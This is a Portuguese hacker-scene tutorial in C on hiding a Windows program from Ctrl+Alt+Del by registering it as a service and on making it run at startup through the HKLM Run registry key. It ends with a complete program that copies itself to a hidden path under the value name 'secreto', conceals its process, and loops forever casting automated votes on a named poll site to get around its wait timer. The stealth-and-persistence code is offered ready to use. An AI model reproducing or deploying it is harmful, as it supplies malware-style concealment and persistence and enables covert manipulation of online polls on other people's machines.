********************************************** * * * UNSEKURITY SCENE * * * ********************************************** Behind The Scene: * 'Truques' de programacao para Windows. * 1. Introducao. 2. Como esconder um programa do ctrl + alt + del ? 3. Como fazer o programa ser executado a cada inicializacao ? 3.1 WINAPI: Usando o registro do windows 4. Utilizacao pratica. 5. Finalizacao. 1. Introducao Consegui um tempinho para escrever mais um pequeno texto.. esse texto sera publicado no site da Unsekurity Scene, que cresceu muito nos ultimos tempos; tudo gracas a MUITAS pessoas eticas que fazem parte da comunidade. Espero que a Unsekurity Scene cresca cada vez mais e atinja niveis mundiais (ja esta chegando nesse ponto :), e talvez, em breve, se torne possivel fazer encontros de confraternizacao, troca de informacao e etc :) A Scene esta, atualmente, passando por algumas transformacoes.. estamos novamente com o nosso canal no irc, a maillist esta nota 10, e em breve o forum, talvez, voltara a ativa :) A liberdade da informacao, tanto etica como tecnica, sera levada pela Comunidade do Unsekurity a todos, e ninguem podera nos parar! Todos sao livres para participar da Comunidade do Unsekurity, tanto via MailList, canal de IRC ou forum. Nao sao bem vindos os anti-eticos, egocentricos, etc...(Script Kiddies, Defacers, Crackers, etc). O publico alvo desse texto sao os eticos. Se voce tem alguma influencia na midia, opiniao publica de algum grupo ou numa comunidade(principalmente algumas empresas, analistas de 'seguranca', donos de WebSites que mantem comunidades virtuais ou de noticias, forums e etc...); e usa essa influencia de uma forma errada(enganando, visando apenas o beneficio proprio, etc); voce sera derrubado. Aqui nao eh o lugar adequado para citar nomes ou apontar alguem ou alguma empresa, mas, atualmente, um provedor de internet que da assistencia em 'seguranca' disponibiliza 'receitas de bolo' incentivando as pessoas a fazerem DEFACE. Essa mesma empresa mantem um mirror de defaces, e usa os defaces como principal propaganda(ou seja, esse provedor esta usando/manipulando as criancas que fazem deface), esse mesmo provedor tambem 'explora' uma palavra muito explorada pela midia e imprensa.. eh a palavra 'hacker', essa empresa, inclusive, tem registrado o dominio com essa palavra no brasil. Este pequeno texto explica alguns 'truques' de programacao no windows. Todos exemplos deste texto sao na linguagem C. Os exemplos nesse texto foram testados no lcc(http://www.cs.virginia.edu/~lcc-win32/). Nao se esqueca de configurar o lcc para compilar um programa Windows appl. 2. Como esconder um programa do ctrl + alt + del ? Uma solucao simples para esconder o programa do ctrlaltdel eh transformar o programa em um 'service', o windows nao vai mostrar o seu programa no ctrlaltdel pq ele nao pode ser killado(pois agora ele vai ser classificado como service). usaremos a funcao REgisterServiceProcess() se voce consultar a ajuda do winapi(tem no site da microsoft) encontrara isso: [quote] The RegisterServiceProcess function registers or unregisters a service process. A service process continues to run after the user logs off. DWORD RegisterServiceProcess(DWORD dwProcessId, DWORD dwType); Parameters dwProcessId Specifies the identifier of the process to register as a service process. Specifies NULL to register the current process. dwType Specifies whether the service is to be registered or unregistered. This parameter can be one of the following values. Value Meaning RSP_SIMPLE_SERVICE Registers the process as a service process. RSP_UNREGISTER_SERVICE Unregisters the process as a service process. Return Value The return value is 1 if successful or 0 if an error occurs. [/quote] A funcao RegisterServiceProcess se encontra no kernel32.dll, precisamos carregar o kernel32.dll e usar o RegisterServiceProcess. Peguei na net uma funcao prontinha que faz todo o trabalho :) void hide(){ HMODULE hmod; int *(*pReg)(); /* esse eh o pointer em que sera armazenado o endereco da funcao */ /* carrega-se o kernel32.dll */ hmod = LoadLibrary("kernel32.dll"); if (!hmod) return; /* procura-se pelo RegisterServiceProcess dentro do kernel32.dll */ pReg = GetProcAddress(hmod,"RegisterServiceProcess"); if (!pReg) { /* se nao encontrar, retorna */ FreeLibrary(hmod); return; } else /* faz com que o processo atual se torne um service :) */ pReg(NULL, RSP_SIMPLE_SERVICE); FreeLibrary(hmod); return; } 3. Como fazer o programa ser executado a cada inicializacao ? Um jeito simples de fazer isso eh colocar um atalho para o programa no menu iniciar->programas->iniciar. Mas se voce nao quer usar o menu iniciar, voce pode colocar no registro do windows :) Abra o regedit, abra a chave HKEY_LOCAL_MACHINE, va em Software, Microsoft, Windows, CurrentVersion, Run. Adicione nessa chave um valor do tipo string; com qualquer nome, e com o valor como o endereco do arquivo a ser executado. dependendo da versao do seu wdinws vc pode encontrar um SystemTray, ai , como exemplo :) 3.1 WINAPI: Usando o registro do windows HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Run sera a chave a ser usada no nosso exemplo. usaremos as funcoes RegOpenKeyEx(), RegSetValueEx(), RegFlushKey() e RegCloseKey() da WINAPI. [quote] The RegOpenKeyEx function opens the specified key. LONG RegOpenKeyEx(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult ); Parameters hKey Identifies a currently open key or any of the following predefined reserved handle values: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS lpSubKey Points to a null-terminated string containing the name of the subkey to open. If this parameter is NULL or a pointer to an empty string, the function will open a new handle of the key identified by the hKey parameter. In this case, the function will not close the handles previously opened. ulOptions Reserved; must be zero. samDesired Specifies an access mask that describes the desired security access for the new key. This parameter can be a combination of the following values: Value Meaning KEY_ALL_ACCESS Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, KEY_CREATE_SUB_KEY, KEY_CREATE_LINK, and KEY_SET_VALUE access. KEY_CREATE_LINK Permission to create a symbolic link. KEY_CREATE_SUB_KEY Permission to create subkeys. KEY_ENUMERATE_SUB_KEYS Permission to enumerate subkeys. KEY_EXECUTE Permission for read access. KEY_NOTIFY Permission for change notification. KEY_QUERY_VALUE Permission to query subkey data. KEY_READ Combination of KEY_QUERY_VALUE, KEY_ENUMERATE_SUB_KEYS, and KEY_NOTIFY access. KEY_SET_VALUE Permission to set subkey data. KEY_WRITE Combination of KEY_SET_VALUE and KEY_CREATE_SUB_KEY access. phkResult Points to a variable that receives the handle of the opened key. [/quote] [quote] The RegSetValueEx function stores data in the value field of an open registry key. It can also set additional value and type information for the specified key. LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE *lpData, DWORD cbData ); Parameters hKey Identifies a currently open key or any of the following predefined reserved handle values: HKEY_CLASSES_ROOT HKEY_CURRENT_USER HKEY_LOCAL_MACHINE HKEY_USERS lpValueName Points to a string containing the name of the value to set. If a value with this name is not already present in the key, the function adds it to the key. Reserved Reserved; must be zero. dwType Specifies the type of information to be stored as the value's data. This parameter can be one of the following values: Value Meaning REG_BINARY Binary data in any form. REG_DWORD A 32-bit number. (....) REG_RESOURCE_LIST A device-driver resource list. REG_SZ: A null-terminated string. It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions. lpData Points to a buffer containing the data to be stored with the specified value name. cbData Specifies the size, in bytes, of the information pointed to by the lpData parameter. If the data is of type REG_SZ, REG_EXPAND_SZ, or REG_MULTI_SZ, cbData must include the size of the terminating null character. [/quote] bom, vamos ver cada argumento dessas funcoes. LONG RegOpenKeyEx(HKEY hKey, LPCTSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult ); o argumento HKEY hKey vai ser o nome da chave principal do registro, no nosso caso sera HKEY_LOCAL_MACHINE. LPCTSTR lpSubKey eh a string da subchave, aqui sera "SOFTWARE\\Microsoft\\Windows\\Run". DWORD ulOptions eh reservado e eh 0. REGSAM samDesired sera o tipo de acesso a chave. aqui nos usaremos KEY_ALL_ACCESS. PHKEY phkResult, aqui vai o endereco da variavel que armazenara as informacoes da chave aberta. LONG RegSetValueEx( HKEY hKey, LPCTSTR lpValueName, DWORD Reserved, DWORD dwType, CONST BYTE *lpData, DWORD cbData ); HKEY hKey sera a variavel que usamos no RegOpenKeyEx na qual foi armazenada as informacoes sobre a chave aberta. LPCTSTR lpValueName eh a string do nome do valor a ser adicionado no registro. DWORD Reserved, reservado, 0. DWORD dwType especifica o tipo de valor a ser adicionado no registro, no nosso caso sera uma string. REG_SZ. CONST BYTE *lpData sera a string do valor a ser adicionado no registro. DWORD cbData eh o tamanho da string(contando com o \0 final) a funcao RegFlushKey(HKEY hKey) atualiza a chave no registro. a funcao RegCloseKey(HKEY hKey) fecha a chave. agora vamos ver um pequeno programa que adiciona um valor no registro. #include #include int API WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow) { PHKEY pa; /* aqui abrimos a chave */ RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &pa); /* adicionamos o valor */ RegSetValueEx(pa ,"testando", 0, REG_SZ, "teste", 6 ); /* atualizamos e fechamos a chave */ RegFlushKey(pa); RegCloseKey(pa); return 0; } compile o programinha, abra o regedit e verifique se algo mudou :) 4. Utilizacao pratica. Mostrarei uma pequena aplicacao utilizando o que aprendemos neste texto. Ha algum tempo, uns colegas me pediram para fazer um programa que votasse automaticamente no Bush no site maladomes... hehehehe. Depois de pronto o programa, meus amigos reclamaram que a professora de informatica nao deixava rodar o programa nos computadores do colegio... E agora estou escrevendo esse texto contando o que eu aprendi nessa historia :) E agora usaremos o programinha de votacao como exemplo. /* * Programa simples para votacao no site maladomes.com.br * Feito por hts. */ #include #include #include #include #include #include #define SA struct sockaddr #define SI struct sockaddr_in /* ip do site maladomes */ #define IP "200.225.179.243" /* header de um pedido http*/ #define HOST "Accept: image/gif, image/x-xbitmap,image/jpeg, \ image/pjpeg, application/vnd.ms-excelapplication/msword,*/*\r\nReferer: \ http://www.maladomes.com.br/ranking.phtml\r\nAccept-Language: \ pt-br\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozilla/4.0 \ (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)\r\nHost: \ www.maladomes.com.br\r\nConnection: Keep-Alive\r\n\r\n" #define bzero(a, b) memset(a, 0, b) char *http(char *, char *); int Socket(int, int, int); char *Malloc(unsigned int); void hide(); void doit(); /* Essa funcao se conecta e pega a pagina */ char *httpget(char *ip, char *target){ int sock, count; SI server; char c, *ret, *ptr; FILE *sv; WORD wVersion; WSADATA wStart; bzero((void *)&server, sizeof(SI)); server.sin_family = AF_INET; server.sin_port = htons(80); server.sin_addr.s_addr = inet_addr(IP); wVersion = MAKEWORD(2, 0); if(WSAStartup(wVersion,&wStart) != 0) { exit(-1); } sock = Socket(AF_INET, SOCK_STREAM, 0); if((connect(sock, (SA *)&server, sizeof(SA)))<0){ sleep(2*30*1000); return NULL; } send(sock, "GET ", 4, 0); send(sock, target, strlen(target), 0); send(sock, " HTTP/1.0\r\n", 10, 0); send(sock, HOST, strlen(HOST), 0); sv = fopen("./tmp", "w"); while(recv(sock, &c, 1, 0)) fputc(c, sv); fclose(sv); closesocket(sock); WSACleanup(); sv = fopen("./tmp", "r"); for(count = 0;!feof(sv);count++, fgetc(sv)); rewind(sv); ptr = ret = Malloc(count); while(--count) *ptr++=fgetc(sv); fclose(sv); return ret; } int Socket(int family, int type, int s){ int ret; ret = socket(family, type, s); if( ret < 0 ){ exit(-1); } return ret; } char *Malloc(unsigned int size){ char *ret; ret = malloc(size); if( !ret ){ fprintf(stderr, "out of memory\n"); exit(-1); } bzero(ret, size); return ret; } /* nossa funcao que esconde o programa do ctlaltdel*/ void hide() { HMODULE hmod; int *(*pReg)(); hmod = LoadLibrary("kernel32.dll"); if (!hmod) return; pReg = GetProcAddress(hmod,"RegisterServiceProcess"); if (!pReg) { FreeLibrary(hmod); return ; } else pReg(NULL, RSP_SIMPLE_SERVICE); FreeLibrary(hmod); return ; } /* essa funcao faz o trabalho principal */ void doit(){ char *ptr, votos = 0; while(1){ ptr = httpget(IP, "/voto.phtml?nome=GEORGE_W._BUSH&categoria=8"); if(ptr){ if(strstr(ptr, "espere.phtml")){ sleep(5*15*1000); /* * a cada 2 minutos e meio ela tenta votar, se o tempo minimo do site nao tiver passado * espera mais 2 minutos e meio. */ } free(ptr); } } return; } int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpszCmdLine, int nCmdShow) { PHKEY pa; hide(); /* esconde o programa do ctrlaltdel*/ RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &pa); RegSetValueEx(pa ,"secreto", 0, REG_SZ, "C:\\escondido.exe", 17 ); RegFlushKey(pa); RegCloseKey(pa); /* grava o programa no registro para rodar o programa toda inicializacao */ CopyFile("./mala.exe", "C:\\escondido.exe", TRUE); /* copia o executavel do programa */ doit(); /* loop principal */ return 0; } 5. Finalizacao. Termino aqui este pequeno texto. Envie qualquer erro, sugestao ou critica para a MailList da Unsekurity Scene. Referencias: Site do Unsekurity - http://www.unsekurity.com.br Site do LCC - http://www.cs.virginia.edu/~lcc-win32 (contem o WINAPI Help para download) Site da Microsoft - http://www.microsoft.com Anti-eticos serao descobertos e derrubados. Obrigado, hts. http://mind.obsc.urity.org/